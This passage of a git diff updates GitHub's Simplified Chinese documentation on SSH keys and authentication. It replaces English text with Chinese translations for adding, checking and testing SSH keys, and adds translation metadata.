ssh-agent](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)”。 -Before adding a new SSH key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, complete the following steps. +## 向你的帐户添加新的 SSH 密钥 -1. Check for existing SSH keys. For more information, see "[Checking for existing SSH keys](/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys)." -1. Generate a new SSH key and add it to your machine's SSH agent. For more information, see "[Generating a new SSH key and adding it to the ssh-agent](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." - -## Adding a new SSH key to your account - -After adding a new SSH authentication key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, you can reconfigure any local repositories to use SSH. For more information, see "[Switching remote URLs from HTTPS to SSH](/github/getting-started-with-github/managing-remote-repositories/#switching-remote-urls-from-https-to-ssh)." +在向您在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的帐户添加新 SSH 密钥后,您可以重新配置任何本地存储库以使用 SSH。 有关详细信息,请参阅“[将远程 URL 从 HTTPS 切换到 SSH](/github/getting-started-with-github/managing-remote-repositories/#switching-remote-urls-from-https-to-ssh)”。 {% data reusables.ssh.key-type-support %} +{% mac %} + {% webui %} -{% data reusables.gpg.copy-ssh-public-key %} -{% data reusables.user-settings.access_settings %} -{% data reusables.user-settings.ssh %} -4. Click **New SSH key** or **Add SSH key**. -{% ifversion ssh-commit-verification %} - ![SSH Key button](/assets/images/help/settings/ssh-add-ssh-key-with-auth.png) -{% else %} - ![SSH Key button](/assets/images/help/settings/ssh-add-ssh-key.png) -{% endif %} -5. In the "Title" field, add a descriptive label for the new key. For example, if you're using a personal laptop, you might call this key "Personal laptop". -{% ifversion ssh-commit-verification %} -6. Select the type of key, either authentication or signing. For more information about commit signing, see "[About commit signature verification](/articles/about-commit-signature-verification)." -{% endif %} -7. Paste your key into the "Key" field. -{% ifversion ssh-commit-verification %} - ![The key field](/assets/images/help/settings/ssh-key-paste-with-type.png) -{% else %} - ![The key field](/assets/images/help/settings/ssh-key-paste.png) -{% endif %} -8. Click **Add SSH key**. - ![The Add key button](/assets/images/help/settings/ssh-add-key.png) -{% data reusables.user-settings.sudo-mode-popup %} +1. 将 SSH 公钥复制到剪贴板。 + + 如果您的 SSH 公钥文件与示例代码不同,请修改文件名以匹配您当前的设置。 在复制密钥时,请勿添加任何新行或空格。 + + ```shell + $ pbcopy < ~/.ssh/id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}.pub + # Copies the contents of the id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}.pub file to your clipboard + ``` + + {% tip %} + + 提示:如果 `pbcopy` 不起作用,你可以找到隐藏的 `.ssh` 文件夹,在你最喜欢的文本编辑器中打开该文件,并将其复制到剪贴板。 + + {% endtip %} + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.ssh %} +4. 单击“新建 SSH 密钥”或“添加 SSH 密钥” 。 + ![SSH 密钥按钮](/assets/images/help/settings/ssh-add-ssh-key.png) +5. 在 "Title"(标题)字段中,为新密钥添加描述性标签。 例如,如果您使用的是个人 Mac,此密钥名称可能是 "Personal MacBook Air"。 +6. 将密钥粘贴到 "Key"(密钥)字段。 + ![密钥字段](/assets/images/help/settings/ssh-key-paste.png) +7. 单击“添加 SSH 密钥”。 + ![“添加密钥”按钮](/assets/images/help/settings/ssh-add-key.png) {% data reusables.user-settings.sudo-mode-popup %} {% endwebui %} +{% endmac %} + +{% windows %} + +{% webui %} + +1. 将 SSH 公钥复制到剪贴板。 + + 如果您的 SSH 公钥文件与示例代码不同,请修改文件名以匹配您当前的设置。 在复制密钥时,请勿添加任何新行或空格。 + + ```shell + $ clip < ~/.ssh/id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}.pub + # Copies the contents of the id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}.pub file to your clipboard + ``` + + {% tip %} + + 提示:如果 `clip` 不起作用,你可以找到隐藏的 `.ssh` 文件夹,在你最喜欢的文本编辑器中打开该文件,并将其复制到剪贴板。 + + {% endtip %} + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.ssh %} +4. 单击“新建 SSH 密钥”或“添加 SSH 密钥” 。 + ![SSH 密钥按钮](/assets/images/help/settings/ssh-add-ssh-key.png) +5. 在 "Title"(标题)字段中,为新密钥添加描述性标签。 例如,如果您使用的是个人 Mac,此密钥名称可能是 "Personal MacBook Air"。 +6. 将密钥粘贴到 "Key"(密钥)字段。 + ![密钥字段](/assets/images/help/settings/ssh-key-paste.png) +7. 单击“添加 SSH 密钥”。 + ![“添加密钥”按钮](/assets/images/help/settings/ssh-add-key.png) {% data reusables.user-settings.sudo-mode-popup %} + +{% endwebui %} + +{% endwindows %} + +{% linux %} + +{% webui %} + +1. 将 SSH 公钥复制到剪贴板。 + + 如果您的 SSH 公钥文件与示例代码不同,请修改文件名以匹配您当前的设置。 在复制密钥时,请勿添加任何新行或空格。 + + ```shell + $ cat ~/.ssh/id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}.pub + # Then select and copy the contents of the id_{% ifversion ghae %}rsa{% else %}ed25519{% endif %}.pub file + # displayed in the terminal to your clipboard + ``` + + {% tip %} + + 提示:或者,你也可以找到隐藏的 `.ssh` 文件夹,在你最喜欢的文本编辑器中打开该文件,并将其复制到剪贴板。 + + {% endtip %} + +{% data reusables.user-settings.access_settings %} {% data reusables.user-settings.ssh %} +4. 单击“新建 SSH 密钥”或“添加 SSH 密钥” 。 + ![SSH 密钥按钮](/assets/images/help/settings/ssh-add-ssh-key.png) +5. 在 "Title"(标题)字段中,为新密钥添加描述性标签。 例如,如果您使用的是个人 Mac,此密钥名称可能是 "Personal MacBook Air"。 +6. 将密钥粘贴到 "Key"(密钥)字段。 + ![密钥字段](/assets/images/help/settings/ssh-key-paste.png) +7. 单击“添加 SSH 密钥”。 + ![“添加密钥”按钮](/assets/images/help/settings/ssh-add-key.png) {% data reusables.user-settings.sudo-mode-popup %} + +{% endwebui %} + +{% endlinux %} + {% cli %} {% data reusables.cli.cli-learn-more %} -Before you can use the {% data variables.product.prodname_cli %} to add an SSH key to your account, you must authenticate to the {% data variables.product.prodname_cli %}. For more information, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login) in the {% data variables.product.prodname_cli %} documentation. +在使用 {% data variables.product.prodname_cli %} 将 SSH 密钥添加到帐户之前,必须向 {% data variables.product.prodname_cli %} 进行身份验证。 有关详细信息,请参阅 {% data variables.product.prodname_cli %} 文档中的“[`gh auth login`](https://cli.github.com/manual/gh_auth_login)”。 -{% ifversion ssh-commit-verification %}At present, you can only use {% data variables.product.prodname_cli %} to add SSH authentication keys, you cannot add SSH signing keys.{% endif %} - -To add an SSH authentication key to your GitHub account, use the `ssh-key add` subcommand, specifying your public key. +要将 SSH 密钥添加到你的 GitHub 帐户,请使用 `ssh-key add` 子命令指定你的公钥。 ```shell -gh ssh-key add KEY-FILE +gh ssh-key add key-file ``` -To include a title for the new key, use the `-t` or `--title` flag. +若要包含新密钥的标题,请使用 `-t` 或 `--title` 标记。 ```shell -gh ssh-key add KEY-FILE --title "personal laptop" +gh ssh-key add key-file --title "personal laptop" ``` -If you generated your SSH key by following the instructions in "[Generating a new SSH key](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)", you can add the key to your account with this command. +如果按照“[生成新的 SSH 密钥](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)”中的说明生成 SSH 密钥,则可以使用此命令将密钥添加到帐户。 ```shell gh ssh-key add ~/.ssh/id_ed25519.pub @@ -92,7 +163,6 @@ gh ssh-key add ~/.ssh/id_ed25519.pub {% endcli %} {% ifversion fpt or ghec %} -## Further reading +## 延伸阅读 -- "[Authorizing an SSH key for use with SAML single sign-on](/articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)" -{% endif %} +- “[授权一个用于 SAML 单一登录的 SSH 密钥](/articles/authorizing-an-ssh-key-for-use-with-saml-single-sign-on)”{% endif %} diff --git a/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys.md b/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys.md index e840701467..0441cda5ad 100644 --- a/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys.md +++ b/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/checking-for-existing-ssh-keys.md @@ -1,6 +1,6 @@ --- -title: Checking for existing SSH keys -intro: 'Before you generate an SSH key, you can check to see if you have any existing SSH keys.' +title: 检查现有 SSH 密钥 +intro: 在生成 SSH 密钥之前,您可以检查是否有任何现有的 SSH 密钥。 redirect_from: - /articles/checking-for-existing-ssh-keys - /github/authenticating-to-github/checking-for-existing-ssh-keys @@ -13,41 +13,46 @@ versions: topics: - SSH shortTitle: Check for existing SSH key +ms.openlocfilehash: 4487e44b1cbba7038364e92f3194d5c3c06c505b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '147409105' --- +## 关于 SSH 密钥 -## About SSH keys +可以使用 SSH 在 {% ifversion fpt or ghec or ghes %}{% data variables.product.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %} 上的存储库中执行 Git 操作。 有关详细信息,请参阅“[关于 SSH](/authentication/connecting-to-github-with-ssh/about-ssh)”。 -You can use SSH to perform Git operations in repositories on {% ifversion fpt or ghec or ghes %}{% data variables.location.product_location %}{% elsif ghae %}{% data variables.product.product_name %}{% endif %}. For more information, see "[About SSH](/authentication/connecting-to-github-with-ssh/about-ssh)." +如果有现有的 SSH 密钥,则可以使用该密钥通过 SSH 对 Git 操作进行身份验证。 -If you have an existing SSH key, you can use the key to authenticate Git operations over SSH. +## 检查现有 SSH 密钥 -## Checking for existing SSH keys - -Before you generate a new SSH key, you should check your local machine for existing keys. +在生成新的 SSH 密钥之前,应该检查本地计算机是否存在现有密钥。 {% data reusables.ssh.key-type-support %} {% data reusables.command_line.open_the_multi_os_terminal %} -2. Enter `ls -al ~/.ssh` to see if existing SSH keys are present. +2. 输入 `ls -al ~/.ssh` 以查看是否存在现有的 SSH 密钥。 ```shell $ ls -al ~/.ssh # Lists the files in your .ssh directory, if they exist ``` -3. Check the directory listing to see if you already have a public SSH key. By default, the {% ifversion ghae %}filename of a supported public key for {% data variables.product.product_name %} is *id_rsa.pub*.{% else %}filenames of supported public keys for {% data variables.product.product_name %} are one of the following. - - *id_rsa.pub* - - *id_ecdsa.pub* - - *id_ed25519.pub*{% endif %} +3. 检查目录列表以查看是否已经有 SSH 公钥。 默认情况下,{% ifversion ghae %}{% data variables.product.product_name %} 的一个支持的公钥的文件名是 id_rsa.pub。{% else %}{% data variables.product.product_name %} 的一个支持的公钥的文件名是以下之一。 + - id_rsa.pub + - id_ecdsa.pub + - id_ed25519.pub{% endif %} {% tip %} - **Tip**: If you receive an error that *~/.ssh* doesn't exist, you do not have an existing SSH key pair in the default location. You can create a new SSH key pair in the next step. + 提示:如果收到错误,指示 ~/.ssh 不存在,则表明默认位置中没有现有的 SSH 密钥对。 您可以在下一步中创建新的 SSH 密钥对。 {% endtip %} -4. Either generate a new SSH key or upload an existing key. - - If you don't have a supported public and private key pair, or don't wish to use any that are available, generate a new SSH key. - - If you see an existing public and private key pair listed (for example, *id_rsa.pub* and *id_rsa*) that you would like to use to connect to {% data variables.product.product_name %}, you can add the key to the ssh-agent. +4. 生成新的 SSH 密钥或上传现有密钥。 + - 如果您没有受支持的公钥和私钥对,或者不希望使用任何可用的密钥对,请生成新的 SSH 密钥。 + - 如果你看到列出了要用于连接到 {% data variables.product.product_name %} 的现有公钥和私钥对(例如,id_rsa.pub 和 id_rsa),则可以将密钥添加到 ssh-代理 。 - For more information about generation of a new SSH key or addition of an existing key to the ssh-agent, see "[Generating a new SSH key and adding it to the ssh-agent](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)." + 有关生成新的 SSH 密钥或向 ssh-代理添加现有密钥的详细信息,请参阅“[生成新的 SSH 密钥并将其添加到 ssh-代理](/authentication/connecting-to-github-with-ssh/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent)。” diff --git a/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection.md b/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection.md index a97d7da6c6..a920a76acf 100644 --- a/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection.md +++ b/translations/zh-CN/content/authentication/connecting-to-github-with-ssh/testing-your-ssh-connection.md @@ -1,6 +1,6 @@ --- -title: Testing your SSH connection -intro: 'After you''ve set up your SSH key and added it to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.location.product_location %}{% endif %}, you can test your connection.' +title: 测试 SSH 连接 +intro: '设置 SSH 密钥并将其添加到您在 {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %} 上的帐户后,您可以测试连接。' redirect_from: - /articles/testing-your-ssh-connection - /github/authenticating-to-github/testing-your-ssh-connection @@ -13,22 +13,28 @@ versions: topics: - SSH shortTitle: Test your SSH connection +ms.openlocfilehash: 7724c5939b319748f270db2f190a6df825b0bb4f +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/05/2022 +ms.locfileid: '146338971' --- -Before testing your SSH connection, you should have: -- [Checked for existing SSH keys](/articles/checking-for-existing-ssh-keys) -- [Generated a new SSH key](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) -- [Added a new SSH key to your GitHub account](/articles/adding-a-new-ssh-key-to-your-github-account) +测试 SSH 连接之前,您应已完成以下各项: +- [检查现有 SSH 密钥](/articles/checking-for-existing-ssh-keys) +- [生成新 SSH 密钥](/articles/generating-a-new-ssh-key-and-adding-it-to-the-ssh-agent) +- [为 GitHub 帐户添加新的 SSH 密钥](/articles/adding-a-new-ssh-key-to-your-github-account) -When you test your connection, you'll need to authenticate this action using your password, which is the SSH key passphrase you created earlier. For more information on working with SSH key passphrases, see ["Working with SSH key passphrases"](/articles/working-with-ssh-key-passphrases). +测试连接时,您将需要使用密码(即您之前创建的 SSH 密钥密码)验证此操作。 有关使用 SSH 密钥密码的详细信息,请参阅“[使用 SSH 密钥密码](/articles/working-with-ssh-key-passphrases)”。 {% data reusables.command_line.open_the_multi_os_terminal %} -2. Enter the following: +2. 输入以下内容: ```shell $ ssh -T git@{% data variables.command_line.codeblock %} # Attempts to ssh to {% data variables.product.product_name %} ``` - You may see a warning like this: + 您可能会看到类似如下的警告: ```shell > The authenticity of host '{% data variables.command_line.codeblock %} (IP ADDRESS)' can't be established. @@ -36,15 +42,15 @@ When you test your connection, you'll need to authenticate this action using you > Are you sure you want to continue connecting (yes/no)? ``` -3. Verify that the fingerprint in the message you see matches {% ifversion fpt or ghec %}[{% data variables.product.prodname_dotcom %}'s public key fingerprint](/github/authenticating-to-github/githubs-ssh-key-fingerprints){% else %} your enterprise's public key fingerprint{% endif %}. If it does, then type `yes`: +3. 验证所看到消息中的指纹是否与 {% ifversion fpt or ghec %}[{% data variables.product.prodname_dotcom %} 的公钥指纹](/github/authenticating-to-github/githubs-ssh-key-fingerprints){% else %}企业的公钥指纹{% endif %}匹配。 如果是,则键入 `yes`: ```shell - > Hi USERNAME! You've successfully authenticated, but GitHub does not + > Hi username! You've successfully authenticated, but GitHub does not > provide shell access. ``` {% linux %} - You may see this error message: + 你可能会看到此错误消息: ```shell ... Agent admitted failure to sign using the key. @@ -52,14 +58,14 @@ When you test your connection, you'll need to authenticate this action using you Permission denied (publickey). ``` - This is a known problem with certain Linux distributions. For more information, see ["Error: Agent admitted failure to sign"](/articles/error-agent-admitted-failure-to-sign). + 这是某些 Linux 发行版的已知问题。 有关详细信息,请参阅“[错误:代理承认没有签名](/articles/error-agent-admitted-failure-to-sign)”。 {% endlinux %} {% note %} - **Note:** The remote command should exit with code 1. + 注意:远程命令应退出,并显示代码 1。 {% endnote %} -4. Verify that the resulting message contains your username. If you receive a "permission denied" message, see ["Error: Permission denied (publickey)"](/articles/error-permission-denied-publickey). +4. 验证生成的消息包含您的用户名。 如果收到“权限被拒绝”消息,请参阅“[错误:权限被拒绝(公钥)](/articles/error-permission-denied-publickey)”。 diff --git a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md index 9269d90ee5..df96216a6e 100644 --- a/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md +++ b/translations/zh-CN/content/authentication/keeping-your-account-and-data-secure/about-authentication-to-github.md @@ -1,6 +1,6 @@ --- -title: About authentication to GitHub -intro: 'You can securely access your account''s resources by authenticating to {% data variables.product.product_name %}, using different credentials depending on where you authenticate.' +title: 关于向 GitHub 验证 +intro: '您可以根据身份验证位置使用不同的凭据,向 {% data variables.product.product_name %} 验证来安全地访问帐户的资源。' versions: fpt: '*' ghes: '*' @@ -13,102 +13,107 @@ redirect_from: - /github/authenticating-to-github/about-authentication-to-github - /github/authenticating-to-github/keeping-your-account-and-data-secure/about-authentication-to-github shortTitle: Authentication to GitHub +ms.openlocfilehash: d40d3e18c75c2e5d8f16ebbb4fd9b6fdf03e2a73 +ms.sourcegitcommit: 478f2931167988096ae6478a257f492ecaa11794 +ms.translationtype: HT +ms.contentlocale: zh-CN +ms.lasthandoff: 09/09/2022 +ms.locfileid: '147718091' --- -## About authentication to {% data variables.product.prodname_dotcom %} +## 关于 {% data variables.product.prodname_dotcom %} 向验证身份 -To keep your account secure, you must authenticate before you can access{% ifversion not ghae %} certain{% endif %} resources on {% data variables.product.product_name %}. When you authenticate to {% data variables.product.product_name %}, you supply or confirm credentials that are unique to you to prove that you are exactly who you declare to be. +为确保帐户安全,必须先进行身份验证,然后才能访问 {% data variables.product.product_name %} 上的{% ifversion not ghae %}某些{% endif %}资源。 向 {% data variables.product.product_name %} 验证时,您提供或确认您唯一的凭据,以证明您就是声明者。 -You can access your resources in {% data variables.product.product_name %} in a variety of ways: in the browser, via {% data variables.product.prodname_desktop %} or another desktop application, with the API, or via the command line. Each way of accessing {% data variables.product.product_name %} supports different modes of authentication. +您可以通过多种方式访问 {% data variables.product.product_name %} 中的资源:浏览器中、通过 {% data variables.product.prodname_desktop %} 或其他桌面应用程序、使用 API 或通过命令行。 每种访问 {% data variables.product.product_name %} 的方式都支持不同的身份验证模式。 {%- ifversion not fpt %} -- Your identity provider (IdP){% endif %}{% ifversion not ghae %} -- Username and password with two-factor authentication{% endif %} -- {% data variables.product.pat_generic_caps %} -- SSH key +- 标识提供者 (IdP){% endif %}{% ifversion not ghae %} +- 用于双因素身份验证的用户名和密码{% endif %} +- 个人访问令牌 +- SSH 密钥 -## Authenticating in your browser +## 在浏览器中进行身份验证 {% ifversion ghae %} -You can authenticate to {% data variables.product.product_name %} in your browser using your IdP. For more information, see "[About authentication with SAML single sign-on](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)." +你可以使用 IdP 在浏览器中向 {% data variables.product.product_name %} 验证。 有关详细信息,请参阅“[关于通过 SAML 单一登录进行身份验证](/github/authenticating-to-github/about-authentication-with-saml-single-sign-on)”。 {% else %} {% ifversion fpt or ghec %} -If you're a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you will authenticate to {% data variables.product.product_name %} in your browser using your IdP. For more information, see "[Authenticating as a managed user](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users#authenticating-as-a-managed-user){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %} +如果您是 {% data variables.product.prodname_emu_enterprise %} 的成员,您将使用 IdP 在浏览器中向 {% data variables.product.product_name %} 验证。 有关详细信息,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[作为托管用户进行身份验证](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users#authenticating-as-a-managed-user){% ifversion fpt %}”。{% else %}."{% endif %} -If you're not a member of an {% data variables.enterprise.prodname_emu_enterprise %}, you will authenticate using your {% data variables.product.prodname_dotcom_the_website %} username and password. You may also use two-factor authentication and SAML single sign-on, which can be required by organization and enterprise owners. +如果你不是 {% data variables.product.prodname_emu_enterprise %} 的成员,你将使用 {% data variables.product.prodname_dotcom_the_website %} 用户名和密码进行身份验证。 还可以使用双因素身份验证和 SAML 单一登录,组织和企业所有者可能需要这一点。 {% else %} -You can authenticate to {% data variables.product.product_name %} in your browser in a number of ways. +你可以在浏览器中以多种方式向 {% data variables.product.product_name %} 验证。 {% endif %} -- **Username and password only** - - You'll create a password when you create your account on {% data variables.product.product_name %}. We recommend that you use a password manager to generate a random and unique password. For more information, see "[Creating a strong password](/github/authenticating-to-github/creating-a-strong-password)."{% ifversion fpt or ghec %} - - If you have not enabled 2FA, {% data variables.product.product_name %} will ask for additional verification when you first sign in from an unrecognized device, such as a new browser profile, a browser where the cookies have been deleted, or a new computer. +- **仅用户名和密码** + - 在 {% data variables.product.product_name %} 上创建帐户时,你将创建一个密码。 我们建议您使用密码管理器生成随机且唯一的密码。 有关详细信息,请参阅“[创建强密码](/github/authenticating-to-github/creating-a-strong-password)”。{% ifversion fpt or ghec %} + - 如果未启用 2FA,{% data variables.product.product_name %} 将在首次从无法识别的设备(例如新浏览器配置文件、已删除 Cookie 的浏览器或新计算机)登录时请求其他验证。 - After providing your username and password, you will be asked to provide a verification code that we will send to you via email. If you have the {% data variables.product.prodname_mobile %} application installed, you'll receive a notification there instead. For more information, see "[{% data variables.product.prodname_mobile %}](/get-started/using-github/github-mobile)."{% endif %} -- **Two-factor authentication (2FA)** (recommended) - - If you enable 2FA, after you successfully enter your username and password, we'll also prompt you to provide a code that's generated by a time-based one time password (TOTP) application on your mobile device{% ifversion fpt or ghec %} or sent as a text message (SMS){% endif %}. For more information, see "[Accessing {% data variables.product.prodname_dotcom %} using two-factor authentication](/github/authenticating-to-github/accessing-github-using-two-factor-authentication#providing-a-2fa-code-when-signing-in-to-the-website)." - - In addition to authentication with a TOTP application{% ifversion fpt or ghec %} or a text message{% endif %}, you can optionally add an alternative method of authentication with {% ifversion fpt or ghec %}{% data variables.product.prodname_mobile %} or{% endif %} a security key using WebAuthn. For more information, see {% ifversion fpt or ghec %}"[Configuring two-factor authentication with {% data variables.product.prodname_mobile %}](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-github-mobile)" and {% endif %}"[Configuring two-factor authentication using a security key](/github/authenticating-to-github/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)."{% ifversion ghes %} -- **External authentication** - - Your site administrator may configure {% data variables.location.product_location %} to use external authentication instead of a username and password. For more information, see "[External authentication methods](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#external-authentication)."{% endif %}{% ifversion fpt or ghec %} -- **SAML single sign-on** - - Before you can access resources owned by an organization or enterprise account that uses SAML single sign-on, you may need to also authenticate through an IdP. For more information, see "[About authentication with SAML single sign-on](/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %} + 提供用户名和密码后,系统将要求你提供一个验证码,我们会通过电子邮件发送给你。 如果已安装 {% data variables.product.prodname_mobile %} 应用程序,则将改为收到通知。 有关详细信息,请参阅“[{% data variables.product.prodname_mobile %}](/get-started/using-github/github-mobile)”。{% endif %} +- **双因素身份验证 (2FA)** (推荐) + - 如果你启用 2FA,则在成功输入用户名和密码后,我们还将提示你提供基于时间的一次性密码 (TOTP) 应用程序在移动设备{% ifversion fpt or ghec %}上生成的代码或以短信 (SMS){% endif %} 形式发送的代码。 有关详细信息,请参阅“[使用双因素身份验证访问 {% data variables.product.prodname_dotcom %}](/github/authenticating-to-github/accessing-github-using-two-factor-authentication#providing-a-2fa-code-when-signing-in-to-the-website)”。 + - 除了使用 TOTP 应用程序{% ifversion fpt or ghec %}或短信{% endif %}进行身份验证外,你还可以选择使用 WebAuthn 添加采用{% ifversion fpt or ghec %}{% data variables.product.prodname_mobile %}或{% endif %}安全密钥的备用身份验证方法。 有关详细信息,请参阅 {% ifversion fpt or ghec %}“[使用 {% data variables.product.prodname_mobile %} 配置双因素身份验证](/authentication/securing-your-account-with-two-factor-authentication-2fa/configuring-two-factor-authentication#configuring-two-factor-authentication-using-github-mobile)”和 {% endif %}“[使用安全密钥配置双因素身份验证](/github/authenticating-to-github/configuring-two-factor-authentication#configuring-two-factor-authentication-using-a-security-key)”。{% ifversion ghes %} +- **外部身份验证** + - 站点管理员可以将 {% data variables.product.product_location %} 配置为使用外部身份验证,而不是用户名和密码。 有关详细信息,请参阅“[外部身份验证方法](/admin/identity-and-access-management/managing-iam-for-your-enterprise/about-authentication-for-your-enterprise#external-authentication)”。{% endif %}{% ifversion fpt or ghec %} +- **SAML 单一登录** + - 在可以访问使用 SAML 单一登录的组织或企业帐户拥有的资源之前,可能还需要通过 IdP 进行身份验证。 有关详细信息,请参阅 {% data variables.product.prodname_ghe_cloud %} 文档中的“[关于使用 SAML 单一登录进行身份验证](/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on){% ifversion fpt %}”。{% else %}."{% endif %}{% endif %} {% endif %} -## Authenticating with {% data variables.product.prodname_desktop %} -You can authenticate with {% data variables.product.prodname_desktop %} using your browser. For more information, see "[Authenticating to {% data variables.product.prodname_dotcom %}](/desktop/getting-started-with-github-desktop/authenticating-to-github)." +## 向 {% data variables.product.prodname_desktop %} 验证身份 +您可以使用浏览器向 {% data variables.product.prodname_desktop %} 验证身份。 有关详细信息,请参阅“[向 {% data variables.product.prodname_dotcom %} 进行身份验证](/desktop/getting-started-with-github-desktop/authenticating-to-github)”。 -## Authenticating with the API +## 使用 API 验证身份 -You can authenticate with the API in different ways. +您可以通过不同方式使用 API 进行身份验证。 -- **{% data variables.product.pat_generic_caps %}s** - - In limited situations, such as testing, you can use a {% data variables.product.pat_generic %} to access the API. Using a {% data variables.product.pat_generic %} enables you to revoke access at any time. For more information, see "[Creating a {% data variables.product.pat_generic %}](/github/authenticating-to-github/creating-a-personal-access-token)." -- **Web application flow** - - For OAuth Apps in production, you should authenticate using the web application flow. For more information, see "[Authorizing OAuth Apps](/apps/building-oauth-apps/authorizing-oauth-apps/#web-application-flow)." -- **GitHub Apps** - - For GitHub Apps in production, you should authenticate on behalf of the app installation. For more information, see "[Authenticating with {% data variables.product.prodname_github_apps %}](/apps/building-github-apps/authenticating-with-github-apps/)." +- **个人访问令牌** + - 在有限的情况(如测试)下可以使用个人访问令牌访问 API。 使用个人访问令牌可让您随时撤销访问。 有关详细信息,请参阅“[创建个人访问令牌](/github/authenticating-to-github/creating-a-personal-access-token)”。 +- **Web 应用程序流程** + - 对于生产中的 OAuth 应用程序,应使用 Web 应用程序流程进行身份验证。 有关详细信息,请参阅“[授权 OAuth 应用](/apps/building-oauth-apps/authorizing-oauth-apps/#web-application-flow)”。 +- **GitHub 应用** + - 对于生产中的 GitHub 应用程序,您应代表应用安装进行身份验证。 有关详细信息,请参阅“[使用 {% data variables.product.prodname_github_apps %} 进行身份验证](/apps/building-github-apps/authenticating-with-github-apps/)”。 -## Authenticating with the command line +## 使用命令行进行身份验证 -You can access repositories on {% data variables.product.product_name %} from the command line in two ways, HTTPS and SSH, and both have a different way of authenticating. The method of authenticating is determined based on whether you choose an HTTPS or SSH remote URL when you clone the repository. For more information about which way to access, see "[About remote repositories](/github/getting-started-with-github/about-remote-repositories)." +您可以通过两种方式从命令行访问 {% data variables.product.product_name %} 上的仓库:HTTPS 和 SSH ,两者采用不同的身份验证。 验证方法取决于克隆仓库时您是选择 HTTPS 还是 SSH 远程 URL。 有关访问方式的详细信息,请参阅“[关于远程存储库](/github/getting-started-with-github/about-remote-repositories)”。 ### HTTPS -You can work with all repositories on {% data variables.product.product_name %} over HTTPS, even if you are behind a firewall or proxy. +即使您在防火墙或代理后面,也可以通过 HTTPS 处理 {% data variables.product.product_name %} 上的所有仓库。 -If you authenticate with {% data variables.product.prodname_cli %}, you can either authenticate with a {% data variables.product.pat_generic %} or via the web browser. For more information about authenticating with {% data variables.product.prodname_cli %}, see [`gh auth login`](https://cli.github.com/manual/gh_auth_login). +如果您使用 {% data variables.product.prodname_cli %} 进行身份验证,您可以使用个人访问令牌或通过 Web 浏览器进行身份验证。 有关使用 {% data variables.product.prodname_cli %} 进行身份验证的详细信息,请参阅 [`gh auth login`](https://cli.github.com/manual/gh_auth_login)。 -If you authenticate without {% data variables.product.prodname_cli %}, you must authenticate with a {% data variables.product.pat_generic %}. {% data reusables.user-settings.password-authentication-deprecation %} Every time you use Git to authenticate with {% data variables.product.product_name %}, you'll be prompted to enter your credentials to authenticate with {% data variables.product.product_name %}, unless you cache them with a [credential helper](/github/getting-started-with-github/caching-your-github-credentials-in-git). +如果您不使用 {% data variables.product.prodname_cli %} 进行身份验证,则必须使用个人访问令牌进行身份验证。 {% data reusables.user-settings.password-authentication-deprecation 